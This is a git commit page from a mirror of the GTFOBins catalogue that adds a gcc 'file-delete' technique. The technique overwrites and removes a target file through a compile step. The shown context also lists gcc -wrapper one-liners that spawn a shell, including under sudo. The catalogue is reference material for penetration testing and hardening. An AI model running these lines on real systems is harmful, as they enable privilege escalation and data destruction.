1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Update gcc.md

delete a file with gcc
This commit is contained in:
LinuxSploit 2021-04-06 03:19:18 -04:00 committed by Andrea Cardaci
parent 33d93b2bcd
commit 51e8892fec

View File

@ -8,4 +8,7 @@ functions:
- code: gcc -wrapper /bin/sh,-s .
sudo:
- code: sudo gcc -wrapper /bin/sh,-s .
file-delete:
- code: |
echo "int main(){printf(\" Hello \");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .
---